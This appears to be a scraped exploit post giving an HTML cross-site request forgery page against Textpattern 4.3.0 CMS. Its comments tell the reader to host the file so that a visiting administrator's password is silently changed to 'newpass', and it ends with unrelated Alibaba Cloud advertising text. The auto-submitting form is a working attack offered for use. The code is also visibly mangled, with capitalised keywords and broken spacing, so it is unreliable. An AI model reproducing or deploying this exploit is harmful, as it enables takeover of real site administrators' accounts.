# All you have to do is save the below code as exploit.html
# Then Host a website with the exploit.html file. A person with admin permissions if visits the site,
# Will automatically change the admin password to "newpass" without warning ;)
____________________________________________________________________
____________________________________________________________________
Code:
<! Doctype html public "-// W3C // dtd html 4.01 Transitional // EN">
<Html>
<Head>
<Title> Textpattern 4.3.0 cms xsrf Vulnerability </title>
</Head>
<Body onload = "javascript: fireForms ()">
<Script language = "JavaScript">
Function fireForms ()
{
Var count = 1;
Var I = 0;
For (I = 0; I <count; I ++)
{
Document. forms [I]. submit ();
}
}
</Script>
<H2> Textpattern 4.3.0 cms xsrf Vulnerability </H2>
<Form method = "POST" name = "form0" action = "http://www.bkjia.com/textpattern/index.php">
<Input type = "hidden" name = "new_pass" value = "newpass"/>
<Input type = "hidden" name = "change_pass" value = "Submit"/>
<Input type = "hidden" name = "event" value = "admin"/>
<Input type = "hidden" name = "step" value = "change_pass"/>
</Form>
</Body>
</Html>
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
